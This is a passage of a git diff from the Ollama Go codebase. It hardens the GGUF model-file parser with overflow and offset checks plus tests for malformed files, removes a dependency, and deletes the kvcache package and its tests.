+ } + defer f.Close() + + _, _, err = f.TensorReader("bad.weight") + if err == nil { + t.Fatal("TensorReader unexpectedly succeeded") + } + if !strings.Contains(err.Error(), "dimensions") { + t.Fatalf("TensorReader error = %q, want dimensions error", err) + } +} + +func TestTensorReaderRejectsInvalidOffset(t *testing.T) { + var b bytes.Buffer + writeInternalRaw(t, &b, []byte("GGUF")) + writeInternalRaw(t, &b, uint32(3)) + writeInternalRaw(t, &b, uint64(1)) // tensors + writeInternalRaw(t, &b, uint64(0)) // key-values + writeInternalString(t, &b, "bad.weight") + writeInternalRaw(t, &b, uint32(1)) // dimensions + writeInternalRaw(t, &b, uint64(1)) + writeInternalRaw(t, &b, uint32(TensorTypeF32)) + writeInternalRaw(t, &b, ^uint64(0)) + + p := writeTempFile(t, b.Bytes()) + f, err := Open(p) + if err != nil { + t.Fatal(err) + } + defer f.Close() + + _, _, err = f.TensorReader("bad.weight") + if err == nil { + t.Fatal("TensorReader unexpectedly succeeded") + } + if !strings.Contains(err.Error(), "offset") { + t.Fatalf("TensorReader error = %q, want offset error", err) + } +} + +func TestTensorReaderRejectsMissingTensor(t *testing.T) { + var b bytes.Buffer + writeInternalRaw(t, &b, []byte("GGUF")) + writeInternalRaw(t, &b, uint32(3)) + writeInternalRaw(t, &b, uint64(0)) // tensors + writeInternalRaw(t, &b, uint64(0)) // key-values + + p := writeTempFile(t, b.Bytes()) + f, err := Open(p) + if err != nil { + t.Fatal(err) + } + defer f.Close() + + _, _, err = f.TensorReader("missing.weight") + if err == nil { + t.Fatal("TensorReader unexpectedly succeeded") + } + if !strings.Contains(err.Error(), "not found") { + t.Fatalf("TensorReader error = %q, want not found error", err) + } +} + +func testFile(data []byte) *File { + return &File{ + reader: newBufferedReader(bytes.NewReader(data), 32<<10), + bts: make([]byte, 4096), + } +} + +func writeInternalRaw(t *testing.T, b *bytes.Buffer, v any) { + t.Helper() + if err := binary.Write(b, binary.LittleEndian, v); err != nil { + t.Fatal(err) + } +} + +func writeInternalString(t *testing.T, b *bytes.Buffer, s string) { + t.Helper() + writeInternalRaw(t, b, uint64(len(s))) + writeInternalRaw(t, b, []byte(s)) +} + +func writeTempFile(t *testing.T, data []byte) string { + t.Helper() + f, err := os.CreateTemp(t.TempDir(), "") + if err != nil { + t.Fatal(err) + } + defer f.Close() + + if _, err := f.Write(data); err != nil { + t.Fatal(err) + } + return f.Name() +} diff --git a/fs/gguf/lazy.go b/fs/gguf/lazy.go index 16ab99093..c2c2423d8 100644 --- a/fs/gguf/lazy.go +++ b/fs/gguf/lazy.go @@ -2,8 +2,8 @@ package gguf import ( "encoding/binary" + "fmt" "iter" - "log/slog" ) type lazy[T any] struct { @@ -11,6 +11,7 @@ type lazy[T any] struct { next func() (T, bool) stop func() values []T + err error // successFunc is called when all values have been successfully read. successFunc func() error @@ -21,13 +22,16 @@ func newLazy[T any](f *File, fn func() (T, error)) (*lazy[T], error) { if err := binary.Read(f.reader, binary.LittleEndian, &it.count); err != nil { return nil, err } + if it.count > uint64(maxInt()) { + return nil, fmt.Errorf("GGUF item count %d exceeds maximum %d", it.count, maxInt()) + } it.values = make([]T, 0) it.next, it.stop = iter.Pull(func(yield func(T) bool) { for i := range it.count { t, err := fn() if err != nil { - slog.Error("error reading tensor", "index", i, "error", err) + it.err = fmt.Errorf("error reading GGUF item %d: %w", i, err) return } @@ -38,7 +42,10 @@ func newLazy[T any](f *File, fn func() (T, error)) (*lazy[T], error) { } if it.successFunc != nil { - it.successFunc() + if err := it.successFunc(); err != nil { + it.err = err + return + } } }) @@ -57,9 +64,10 @@ func (g *lazy[T]) Values() iter.Seq[T] { func (g *lazy[T]) All() iter.Seq2[int, T] { return func(yield func(int, T) bool) { - for i := range int(g.count) { - if i < len(g.values) { - if !yield(i, g.values[i]) { + for i := range g.count { + n := int(i) + if n < len(g.values) { + if !yield(n, g.values[n]) { break } } else { @@ -68,7 +76,7 @@ func (g *lazy[T]) All() iter.Seq2[int, T] { break } - if !yield(i, t) { + if !yield(n, t) { break } } @@ -87,3 +95,7 @@ func (g *lazy[T]) rest() (collected bool) { return collected } + +func (g *lazy[T]) Err() error { + return g.err +} diff --git a/fs/gguf/tensor.go b/fs/gguf/tensor.go index 194c1d739..2b17ce034 100644 --- a/fs/gguf/tensor.go +++ b/fs/gguf/tensor.go @@ -24,11 +24,57 @@ func (ti TensorInfo) NumValues() int64 { return numItems } +func (ti TensorInfo) numValues() (int64, bool) { + var numItems int64 = 1 + for _, dim := range ti.Shape { + if dim > maxInt64() { + return 0, false + } + n := int64(dim) + if n != 0 && numItems > int64(maxInt64())/n { + return 0, false + } + numItems *= n + } + return numItems, true +} + // NumBytes returns the number of bytes in the tensor. func (ti TensorInfo) NumBytes() int64 { return int64(float64(ti.NumValues()) * ti.Type.NumBytes()) } +func (ti TensorInfo) numBytes() (int64, bool) { + numValues, ok := ti.numValues() + if !ok { + return 0, false + } + + typeSize := ti.Type.typeSize() + blockSize := ti.Type.blockSize() + if typeSize == 0 || blockSize == 0 { + return 0, false + } + + rowSize := int64(1) + if len(ti.Shape) > 0 { + if ti.Shape[0] > maxInt64() { + return 0, false + } + rowSize = int64(ti.Shape[0]) + } + if rowSize%blockSize != 0 { + return 0, false + } + + blocks := numValues / blockSize + if blocks > int64(maxInt64())/typeSize { + return 0, false + } + + return blocks * typeSize, true +} + func (ti TensorInfo) LogValue() slog.Value { return slog.GroupValue( slog.String("name", ti.Name), diff --git a/go.mod b/go.mod index 146a7c5b0..cd57291b7 100644 --- a/go.mod +++ b/go.mod @@ -38,7 +38,6 @@ require ( github.com/wk8/go-ordered-map/v2 v2.1.8 golang.org/x/image v0.22.0 golang.org/x/mod v0.30.0 - golang.org/x/tools v0.38.0 gonum.org/v1/gonum v0.15.0 ) diff --git a/go.sum b/go.sum index 56a7e2984..5c57a64b2 100644 --- a/go.sum +++ b/go.sum @@ -392,8 +392,6 @@ golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapK golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.38.0 h1:Hx2Xv8hISq8Lm16jvBZ2VQf+RLmbd7wVUsALibYI/IQ= -golang.org/x/tools v0.38.0/go.mod h1:yEsQ/d/YK8cjh0L6rZlY8tgtlKiBNTL14pGDJPJpYQs= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= diff --git a/kvcache/cache.go b/kvcache/cache.go deleted file mode 100644 index 5c6fc250b..000000000 --- a/kvcache/cache.go +++ /dev/null @@ -1,84 +0,0 @@ -package kvcache - -import ( - "errors" - - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/model/input" -) - -var ( - ErrKvCacheFull = errors.New("could not find a kv cache slot") - ErrNotSupported = errors.New("model does not support operation") -) - -type Cache interface { - // ** used by model implementations ** - - // SetLayer sets the active layer of the cache - SetLayer(layer int) - - // Get returns the history of key and value tensors plus a mask - // - // The shape of the tensors is documented in the specific - // cache implementation used. - Get(ctx ml.Context) (ml.Tensor, ml.Tensor, ml.Tensor) - - // Put stores a batch of key and value in the cache - // - // The shape of the tensors is documented in the specific - // cache implementation used. - Put(ctx ml.Context, key, value ml.Tensor) - - // SetConfig controls optimizations (mostly backend-specific) that may transform - // the output of the cache to work better with specific kernels. If not called, - // the backend settings will be used. This works well when calling Attention. - // - // The config can be overridden by models, especially if they require vanilla - // output when implementing their own version of attention. To do this, pass - // an empty ml.CacheConfig. - // - // Most models will not need to use this. - SetConfig(ml.CacheConfig) - - // ** cache management ** - - // Init sets up runtime parameters. - // backend: Used to allocate cache data storage and execute management operations (such as defrag) - // dtype: The data type for storing cache entries - // maxSequences: The maximum number of sequences stored in the cache - across all batches - // capacity: The number of cache entries to store, per sequence - // maxBatch: The maximum number of tokens that can occur in a single batch - Init(backend ml.Backend, dtype ml.DType, maxSequences, capacity, maxBatch int) - - // Close closes the cache and frees resources associated with it - Close() - - // StartForward is called before the start of the model's forward pass. - // For each token in the coming batch, there must be a corresponding - // entry in positions and seqs. reserve is to preallocate memory - // without actually storing data in the cache. - StartForward(ctx ml.Context, batch input.Batch, reserve bool) error - - // CopyPrefix copies tokens in the range [0, len) from srcSeq to dstSeq - CopyPrefix(srcSeq, dstSeq int, len int32) - - // CanResume returns true if the cache can continue with the next token at - // the given position and sequence. Assumes that the caller has already - // verified the contents of the cache. - CanResume(seq int, pos int32) bool - - // Remove deletes tokens in the range [beginIndex, endIndex) from seq. Set - // endIndex to math.MaxInt32 to remove everything starting at beginIndex. - // - // If an error occurs, the entire context for the sequence should be - // removed by calling Remove(seq, 0, math.MaxInt32) - Remove(seq int, beginIndex, endIndex int32) error -} - -// CheckpointCache optionally supports restoring recurrent state to a prior -// position to avoid full prompt reprocessing when a prefix mismatch occurs. -// The returned position is the number of tokens that can be kept (prefix length). -type CheckpointCache interface { - PrepareRestore(seq int, targetPos int32) (int32, bool) -} diff --git a/kvcache/causal.go b/kvcache/causal.go deleted file mode 100644 index e04f828e5..000000000 --- a/kvcache/causal.go +++ /dev/null @@ -1,666 +0,0 @@ -package kvcache - -import ( - "errors" - "fmt" - "math" - "slices" - - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/model/input" -) - -type shiftFn func(ctx ml.Context, layer int, key, shift ml.Tensor) (ml.Tensor, error) - -// Causal cache stores K and V tensors according to their position in the -// sequence. Returns the history and a mask for attending to past tokens -// -// The tensors are of shape embed dim, kv heads, batch size -// The mask is of shape history size, batch size -type Causal struct { - DType ml.DType - - // swaWindowSize is the number of tokens that will be included in the mask - // during attention operations. swaMemorySize is the number of tokens that - // will be retained in memory for partial prefix caching. Set to math.MaxInt32 - // for unlimited or if sliding window attention is not being used. - swaWindowSize int32 - swaMemorySize int32 - - chunkSize int32 - - opts CausalOptions - - // maxBatch is the largest batch that we might receive - maxBatch int - - // config controls mostly backend-specific optimizations - config *ml.CacheConfig - - // ** current forward pass ** - - // size of the current batch - curBatchSize int - - // locations for data storage for this batch - curLoc ml.Tensor - - // mask of the cache as used by this batch - curMask ml.Tensor - - // the active layer for Get and Put - curLayer int - - // locations in the cache that are needed for this batch - curCellRange cellRange - - // curSequences is the sequences corresponding to this pass's entries in the cache - curSequences []int - - // curPositions is the positions corresponding to this pass's entries in the cache - curPositions []int32 - - // ** cache metadata ** - - // for each possible location in the cache, stores the position and set of sequences - // that reference the data there - cells []cacheCell - - // maps from sequence to the range of locations where it is stored in the cache - cellRanges map[int]cellRange - - // ** cache data storage ** - - shiftFn shiftFn - backend ml.Backend - ctxs map[int]ml.Context - keys, values map[int]ml.Tensor -} - -type cacheCell struct { - pos int32 - sequences []int -} - -type cellRange struct { - min int - max int -} - -func NewCausalCache(shift shiftFn) *Causal { - return &Causal{ - shiftFn: shift, - ctxs: make(map[int]ml.Context), - keys: make(map[int]ml.Tensor), - values: make(map[int]ml.Tensor), - } -} - -func NewSWACache(windowSize int32, shift shiftFn) *Causal { - return &Causal{ - swaWindowSize: windowSize, - shiftFn: shift, - ctxs: make(map[int]ml.Context), - keys: make(map[int]ml.Tensor), - values: make(map[int]ml.Tensor), - } -} - -func NewSWAMemCache(windowSize int32, memorySize int32, shift shiftFn) *Causal { - return &Causal{ - swaWindowSize: windowSize, - swaMemorySize: memorySize, - shiftFn: shift, - ctxs: make(map[int]ml.Context), - keys: make(map[int]ml.Tensor), - values: make(map[int]ml.Tensor), - } -} - -func NewChunkedAttentionCache(chunkSize int32, shift shiftFn) *Causal { - return &Causal{ - chunkSize: chunkSize, - shiftFn: shift, - ctxs: make(map[int]ml.Context), - keys: make(map[int]ml.Tensor), - values: make(map[int]ml.Tensor), - } -} - -func (c *Causal) Init(backend ml.Backend, dtype ml.DType, maxSequences, capacity, maxBatch int) { - if c.config == nil { - var config ml.CacheConfig - if cc, ok := backend.(ml.BackendCacheConfig); ok { - config = cc.CacheConfig() - } - c.config = &config - } - - if c.config.CachePadding == 0 { - c.config.CachePadding = 1 - } - - if c.config.MaskDType == ml.DTypeOther { - c.config.MaskDType = ml.DTypeF32 - } - - if c.swaWindowSize == 0 { - c.swaWindowSize = math.MaxInt32 - } - if c.swaMemorySize == 0 { - c.swaMemorySize = c.swaWindowSize - } - // We will allocate space in the cache for the stop token, which won't be part of a follow on - // sequence, so allocate an extra token of storage to ensure that we can jump back without - // causing a cache break. As an optimization, only do this when we have parallel sequences - // because the extra token will live in the batch buffer and won't get overwritten if we - // only have a single sequence. - if c.swaMemorySize != math.MaxInt32 && maxSequences > 1 { - c.swaMemorySize = max(c.swaMemorySize, c.swaWindowSize+1) - } - if int(c.swaMemorySize) >= capacity { - c.swaMemorySize = math.MaxInt32 - } - - if c.swaMemorySize < c.swaWindowSize { - panic(fmt.Errorf("sliding window memory (%v) must be at least as large as the window (%v)", c.swaMemorySize, c.swaWindowSize)) - } - - var cacheSize int - if c.swaMemorySize == math.MaxInt32 { - cacheSize = maxSequences * capacity - } else { - cacheSize = (maxSequences * int(c.swaMemorySize)) + maxBatch - } - cacheSize = roundUp(cacheSize, c.config.CachePadding) - c.cells = make([]cacheCell, cacheSize) - - c.DType = dtype - c.cellRanges = make(map[int]cellRange) - c.backend = backend - c.maxBatch = maxBatch -} - -func (c *Causal) SetConfig(config ml.CacheConfig) { - if c.config != nil { - panic("config cannot be changed after being previously set, either by the model or backend") - } - - c.config = &config -} - -func (c *Causal) Close() { - for _, ctx := range c.ctxs { - ctx.Close() - } -} - -func (c *Causal) StartForward(ctx ml.Context, batch input.Batch, reserve bool) error { - c.curBatchSize = len(batch.Positions) - c.curSequences = batch.Sequences - c.curPositions = batch.Positions - c.opts.Except = nil - - var locs []int32 - if !reserve { - c.updateSlidingWindow() - - var err error - locs, err = c.findLocs() - if err != nil { - return err - } - - for i, pos := range batch.Positions { - seq := batch.Sequences[i] - loc := int(locs[i]) - - c.cells[loc] = cacheCell{pos: pos, sequences: []int{seq}} - - seqRange, ok := c.cellRanges[seq] - if !ok { - seqRange = newRange() - } - - seqRange.min = min(seqRange.min, loc) - c.curCellRange.min = min(c.curCellRange.min, loc) - - seqRange.max = max(seqRange.max, loc) - c.curCellRange.max = max(c.curCellRange.max, loc) - - c.cellRanges[seq] = seqRange - } - } else { - // If we are reserving memory, don't update any of the cache metadata but set the size - // to the worst case. - locs = make([]int32, c.curBatchSize) - for i := range locs { - locs[i] = int32(i) - } - c.curCellRange.min = 0 - c.curCellRange.max = len(c.cells) - 1 - } - - c.curLoc = ctx.Input().FromInts(locs, len(locs)) - c.curMask = c.buildMask(ctx) - - return nil -} - -func newRange() cellRange { - return cellRange{ - min: math.MaxInt, - max: 0, - } -} - -// Returns a slice of locations where each token in the batch should be stored -func (c *Causal) findLocs() ([]int32, error) { - loc := make([]int32, 0, c.curBatchSize) - - for i := range c.cells { - if len(c.cells[i].sequences) == 0 { - loc = append(loc, int32(i)) - if len(loc) >= c.curBatchSize { - return loc, nil - } - } - } - - return nil, fmt.Errorf("%w (cache: %v batch: %v)", ErrKvCacheFull, len(c.cells), c.curBatchSize) -} - -func (c *Causal) updateSlidingWindow() { - c.curCellRange = newRange() - - if c.swaMemorySize == math.MaxInt32 { - for _, seq := range c.curSequences { - if seqRange, ok := c.cellRanges[seq]; ok { - c.curCellRange.min = min(c.curCellRange.min, seqRange.min) - c.curCellRange.max = max(c.curCellRange.max, seqRange.max) - } - } - - return - } - - type lowestPosition struct { - pos int32 - curBatch bool - } - - // create a map of unique sequences to the lowest position in that sequence - lowestPos := make(map[int]lowestPosition) - for i := range c.curPositions { - seq := c.curSequences[i] - - lowest, ok := lowestPos[seq] - if !ok { - lowest = lowestPosition{pos: c.curPositions[i], curBatch: true} - } else if c.curPositions[i] < lowest.pos { - lowest.pos = c.curPositions[i] - } - - lowestPos[seq] = lowest - } - - // for any sequences are not part of this batch, clean up any tokens - // that are no longer needed after the processing of the previous - // batch - for seq, seqRange := range c.cellRanges { - if _, ok := lowestPos[seq]; !ok { - var last int32 - for i := seqRange.min; i <= seqRange.max; i++ { - if slices.Contains(c.cells[i].sequences, seq) { - last = max(last, c.cells[i].pos) - } - } - - lowestPos[seq] = lowestPosition{pos: last + 1, curBatch: false} - } - } - - // delete any entries that are beyond the window of the oldest position in the sequence - for seq, lowest := range lowestPos { - oldRange, ok := c.cellRanges[seq] - if !ok { - continue - } - - newRange := newRange() - - for i := oldRange.min; i <= oldRange.max; i++ { - if slices.Contains(c.cells[i].sequences, seq) { - if c.cells[i].pos < lowest.pos-c.swaMemorySize { - c.cells[i].sequences = slices.DeleteFunc(c.cells[i].sequences, func(s int) bool { return s == seq }) - } else { - newRange.min = min(newRange.min, i) - newRange.max = max(newRange.max, i) - } - if lowest.curBatch && c.cells[i].pos >= lowest.pos-c.swaWindowSize { - c.curCellRange.min = min(c.curCellRange.min, i) - c.curCellRange.max = max(c.curCellRange.max, i) - } - } - } - - c.cellRanges[seq] = newRange - } -} - -func roundDown(length, pad int) int { - return (length / pad) * pad -} - -func roundUp(length, pad int) int { - return ((length + pad - 1) / pad) * pad -} - -// Builds a mask of history x batch indicating whether for each token in the batch the -// token in the history should apply. This is based on both the sequence and causality (the -// position of the history is not ahead of the token in the batch). -func (c *Causal) buildMask(ctx ml.Context) ml.Tensor { - c.curCellRange.min = roundDown(c.curCellRange.min, c.config.CachePadding) - c.curCellRange.max = roundUp(c.curCellRange.max+1, c.config.CachePadding) - 1 - - length := c.curCellRange.max - c.curCellRange.min + 1 - - mask := make([]float32, c.curBatchSize*length) - - for i := range c.curBatchSize { - enabled := !slices.Contains(c.opts.Except, i) - for j := c.curCellRange.min; j <= c.curCellRange.max; j++ { - if !slices.Contains(c.cells[j].sequences, c.curSequences[i]) || - (enabled && c.cells[j].pos > c.curPositions[i]) || - c.chunkSize > 0 && c.cells[j].pos < c.curPositions[i]-c.curPositions[i]%c.chunkSize || - c.cells[j].pos < c.curPositions[i]-c.swaWindowSize { - mask[i*length+(j-c.curCellRange.min)] = float32(math.Inf(-1)) - } - } - } - - maskTensor := ctx.Input().FromFloats(mask, length, c.curBatchSize) - - if c.config.MaskDType != ml.DTypeF32 { - maskTensor = maskTensor.Cast(ctx, c.config.MaskDType) - } - - return maskTensor -} - -func (c *Causal) SetLayer(layer int) { - c.curLayer = layer -} - -type CausalOptions struct { - // Enabled controls whether the causal mask is generated for a particular index in a batch - Except []int -} - -// SetCausal disables causal mask generation for a particular range of indicies in -// the current batch for subsequent calls to Get. The state resets for the next forward pass. -func (c *Causal) SetCausal(ctx ml.Context, opts CausalOptions) { - if !slices.Equal(c.opts.Except, opts.Except) { - c.opts = opts - if ctx != nil { - c.curMask = c.buildMask(ctx) - } - } -} - -func (c *Causal) Get(ctx ml.Context) (ml.Tensor, ml.Tensor, ml.Tensor) { - key := c.keys[c.curLayer] - value := c.values[c.curLayer] - - kHeadDim := key.Dim(0) - numKVHeads := key.Dim(1) - rowSize := key.Stride(2) - cachedSize := c.curMask.Dim(0) - - key = key.View(ctx, rowSize*c.curCellRange.min, - kHeadDim, key.Stride(1), - numKVHeads, key.Stride(2), - cachedSize, - ) - - if c.config.PermutedV { - vHeadDim := value.Dim(1) - elemSize := value.Stride(0) - - value = value.View(ctx, elemSize*c.curCellRange.min, - cachedSize, value.Stride(1), - vHeadDim, value.Stride(2), - numKVHeads, - ) - } else { - vHeadDim := value.Dim(0) - rowSize := value.Stride(2) - - value = value.View(ctx, rowSize*c.curCellRange.min, - vHeadDim, value.Stride(1), - numKVHeads, value.Stride(2), - cachedSize, - ) - } - - return key, value, c.curMask -} - -func (c *Causal) Put(ctx ml.Context, key, value ml.Tensor) { - kHeadDim := key.Dim(0) - vHeadDim := value.Dim(0) - numKVHeads := key.Dim(1) - batchSize := key.Dim(2) - - if c.curBatchSize != batchSize { - panic(fmt.Errorf("inconsistent batch sizes (layer: %v, batch size: %v layer batch size: %v)", c.curLayer, c.curBatchSize, batchSize)) - } - - if _, ok := c.ctxs[c.curLayer]; !ok { - c.ctxs[c.curLayer] = c.backend.NewContextSize(2).Layer(c.curLayer) - } - - if _, ok := c.keys[c.curLayer]; !ok { - c.keys[c.curLayer] = c.ctxs[c.curLayer].Zeros(c.DType, kHeadDim, numKVHeads, len(c.cells)) - } - - if _, ok := c.values[c.curLayer]; !ok { - if c.config.PermutedV { - c.values[c.curLayer] = c.ctxs[c.curLayer].Zeros(c.DType, len(c.cells), vHeadDim, numKVHeads) - } else { - c.values[c.curLayer] = c.ctxs[c.curLayer].Zeros(c.DType, vHeadDim, numKVHeads, len(c.cells)) - } - } - - key = key.Reshape(ctx, kHeadDim*numKVHeads, batchSize) - keyCache := c.keys[c.curLayer] - keyCache = keyCache.Reshape(ctx, kHeadDim*numKVHeads, len(c.cells)) - ctx.Forward(keyCache.SetRows(ctx, key, c.curLoc)) - - if c.config.PermutedV { - value = value.Reshape(ctx, vHeadDim*numKVHeads, 1, batchSize) - value = value.Permute(ctx, 2, 0, 1, 3) - - valueCache := c.values[c.curLayer] - valueCache = valueCache.Reshape(ctx, 1, len(c.cells), vHeadDim*numKVHeads) - - ctx.Forward(valueCache.SetRows(ctx, value, c.curLoc)) - } else { - value = value.Reshape(ctx, vHeadDim*numKVHeads, batchSize) - valueCache := c.values[c.curLayer] - valueCache = valueCache.Reshape(ctx, vHeadDim*numKVHeads, len(c.cells)) - - ctx.Forward(valueCache.SetRows(ctx, value, c.curLoc)) - } -} - -func (c *Causal) CopyPrefix(srcSeq, dstSeq int, len int32) { - seqRange := newRange() - - for i := range c.cells { - // Remove the contents of dstSeq so that we only have the copied prefix, metadata will be reset at the end - if slices.Contains(c.cells[i].sequences, dstSeq) { - c.cells[i].sequences = slices.DeleteFunc(c.cells[i].sequences, func(s int) bool { return s == dstSeq }) - } - - if slices.Contains(c.cells[i].sequences, srcSeq) && c.cells[i].pos < len { - c.cells[i].sequences = append(c.cells[i].sequences, dstSeq) - if i < seqRange.min { - seqRange.min = i - } - if i > seqRange.max { - seqRange.max = i - } - } - } - - c.cellRanges[dstSeq] = seqRange -} - -func (c *Causal) CanResume(seq int, pos int32) bool { - if c.swaMemorySize == math.MaxInt32 { - return true - } - - seqRange, ok := c.cellRanges[seq] - if !ok { - return false - } - - // for sliding window, check that the window of the new sequence is contained in - // the window of what we are storing - var first int32 = math.MaxInt32 - var last int32 = -1 - for i := seqRange.min; i <= seqRange.max; i++ { - if slices.Contains(c.cells[i].sequences, seq) { - first = min(first, c.cells[i].pos) - last = max(last, c.cells[i].pos) - } - } - - if last == -1 { - return false - } - - posWindowStart := max(0, pos-c.swaWindowSize) - return posWindowStart >= first && pos <= last+1 -} - -func (c *Causal) shift(seq int, beginIndex, offset int32) error { - if c.shiftFn == nil { - return ErrNotSupported - } - - seqRange := c.cellRanges[seq] - - for start := seqRange.min; start <= seqRange.max; start += c.maxBatch { - size := min(seqRange.max-start+1, c.maxBatch) - offsets := make([]int32, size) - - var batchFirst, batchLast int - - batchFirst = -1 - for i := range offsets { - cell := c.cells[start+i] - - if slices.Contains(cell.sequences, seq) && cell.pos >= beginIndex { - offsets[i] = offset - if batchFirst < 0 { - batchFirst = i - } - batchLast = i - } - } - - if batchFirst < 0 { - continue - } - - offsets = offsets[batchFirst : batchLast+1] - - ctx := c.backend.NewContext() - kShift := ctx.Input().FromInts(offsets, len(offsets)) - - for i, key := range c.keys { - if key == nil { - continue - } - - kHeadDim := key.Dim(0) - numKVHeads := key.Dim(1) - rowSize := key.Stride(2) - - key = key.View(ctx, rowSize*(start+batchFirst), - kHeadDim, key.Stride(1), - numKVHeads, key.Stride(2), - len(offsets), - ) - - roped, err := c.shiftFn(ctx, i, key, kShift) - if err != nil { - ctx.Close() - return err - } - - ctx.Forward(roped.Copy(ctx, key)) - } - - ctx.Compute() - ctx.Close() - } - - return nil -} - -func (c *Causal) Remove(seq int, beginIndex, endIndex int32) error { - // TODO(jessegross): We should check to see if removing the middle of the sequence will - // cause the sliding window to encompass tokens that we no longer have. If so, then we - // should return an error, which will trigger the runner to evaluate the full history and - // rebuild the window. However, if we have multimodal inputs in our history, this reuse - // results in use after free, so we don't do it for now. - - var offset int32 - if endIndex != math.MaxInt32 { - offset = beginIndex - endIndex - } - - seqRange := newRange() - - for i := range c.cells { - if slices.Contains(c.cells[i].sequences, seq) { - if c.cells[i].pos >= beginIndex && c.cells[i].pos < endIndex { - c.cells[i].sequences = slices.DeleteFunc(c.cells[i].sequences, func(s int) bool { return s == seq }) - } else { - if c.cells[i].pos >= endIndex { - if slices.ContainsFunc(c.cells[i].sequences, func(s int) bool { return s != seq }) { - return errors.New("shifting cells shared by multiple sequences not supported") - } - - c.cells[i].pos += offset - } - if i < seqRange.min { - seqRange.min = i - } - if i > seqRange.max { - seqRange.max = i - } - } - } - } - - if seqRange == newRange() { - delete(c.cellRanges, seq) - return nil - } - - c.cellRanges[seq] = seqRange - - if endIndex != math.MaxInt32 { - err := c.shift(seq, endIndex+offset, offset) - if err != nil { - return err - } - } - - return nil -} diff --git a/kvcache/causal_test.go b/kvcache/causal_test.go deleted file mode 100644 index aeda93bc6..000000000 --- a/kvcache/causal_test.go +++ /dev/null @@ -1,973 +0,0 @@ -package kvcache - -import ( - "fmt" - "math" - "slices" - "testing" - - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/model/input" -) - -type testCase struct { - name string - in []float32 - inShape []int - seqs []int - pos []int32 - expected []float32 - expectedShape []int - expectedMask []float32 -} - -func runPermutedVariants(t *testing.T, fn func(t *testing.T, backend *testBackend)) { - t.Helper() - for _, permuted := range []bool{false, true} { - t.Run(fmt.Sprintf("PermutedV=%t", permuted), func(t *testing.T) { - fn(t, &testBackend{permutedV: permuted}) - }) - } -} - -func TestStore(t *testing.T) { - runPermutedVariants(t, func(t *testing.T, backend *testBackend) { - cache := NewCausalCache(nil) - defer cache.Close() - - cache.Init(backend, ml.DTypeF16, 1, 16, 16) - - tests := []testCase{ - { - name: "FirstBatch", - in: []float32{111, 211, 121, 221, 131, 231, 112, 212, 122, 222, 132, 232, 113, 213, 123, 223, 133, 233, 114, 214, 124, 224, 134, 234}, - inShape: []int{2, 3, 4}, - seqs: []int{0, 0, 0, 0}, - pos: []int32{0, 1, 2, 3}, - expected: []float32{111, 211, 121, 221, 131, 231, 112, 212, 122, 222, 132, 232, 113, 213, 123, 223, 133, 233, 114, 214, 124, 224, 134, 234}, - expectedShape: []int{2, 3, 4}, - expectedMask: []float32{0, float32(math.Inf(-1)), float32(math.Inf(-1)), float32(math.Inf(-1)), 0, 0, float32(math.Inf(-1)), float32(math.Inf(-1)), 0, 0, 0, float32(math.Inf(-1)), 0, 0, 0, 0}, - }, - { - name: "SecondBatch", - in: []float32{115, 215, 125, 225, 135, 235}, - inShape: []int{2, 3, 1}, - seqs: []int{0}, - pos: []int32{4}, - expected: []float32{111, 211, 121, 221, 131, 231, 112, 212, 122, 222, 132, 232, 113, 213, 123, 223, 133, 233, 114, 214, 124, 224, 134, 234, 115, 215, 125, 225, 135, 235}, - expectedShape: []int{2, 3, 5}, - expectedMask: []float32{0, 0, 0, 0, 0}, - }, - } - - testCache(t, backend, cache, tests) - }) -} - -func TestSWA(t *testing.T) { - runPermutedVariants(t, func(t *testing.T, backend *testBackend) { - cache := NewSWACache(1, nil) - defer cache.Close() - - cache.Init(backend, ml.DTypeF16, 1, 16, 16) - - x := float32(math.Inf(-1)) - - tests := []testCase{ - { - name: "FirstBatch", - in: []float32{1, 2, 3, 4}, - inShape: []int{1, 1, 4}, - seqs: []int{0, 0, 0, 0}, - pos: []int32{0, 1, 2, 3}, - expected: []float32{1, 2, 3, 4}, - expectedShape: []int{1, 1, 4}, - expectedMask: []float32{ - 0, x, x, x, - 0, 0, x, x, - x, 0, 0, x, - x, x, 0, 0, - }, - }, - { - name: "SecondBatch", - in: []float32{5, 6}, - inShape: []int{1, 1, 2}, - seqs: []int{0, 0}, - pos: []int32{4, 5}, - expected: []float32{5, 6, 3, 4}, - expectedShape: []int{1, 1, 4}, - expectedMask: []float32{ - 0, x, x, 0, - 0, 0, x, x, - }, - }, - } - - testCache(t, backend, cache, tests) - }) -} - -func TestSWASeparateBatches(t *testing.T) { - runPermutedVariants(t, func(t *testing.T, backend *testBackend) { - cache := NewSWACache(1, nil) - defer cache.Close() - - cache.Init(backend, ml.DTypeF16, 2, 16, 2) - - x := float32(math.Inf(-1)) - - tests := []testCase{ - { - name: "First seq 0", - in: []float32{1, 2}, - inShape: []int{1, 1, 2}, - seqs: []int{0, 0}, - pos: []int32{0, 1}, - expected: []float32{1, 2}, - expectedShape: []int{1, 1, 2}, - expectedMask: []float32{ - 0, x, - 0, 0, - }, - }, - { - name: "Second seq 0", - in: []float32{3, 4}, - inShape: []int{1, 1, 2}, - seqs: []int{0, 0}, - pos: []int32{2, 3}, - expected: []float32{2, 3, 4}, - expectedShape: []int{1, 1, 3}, - expectedMask: []float32{ - 0, 0, x, - x, 0, 0, - }, - }, - { - name: "First seq 1", - in: []float32{5, 6}, - inShape: []int{1, 1, 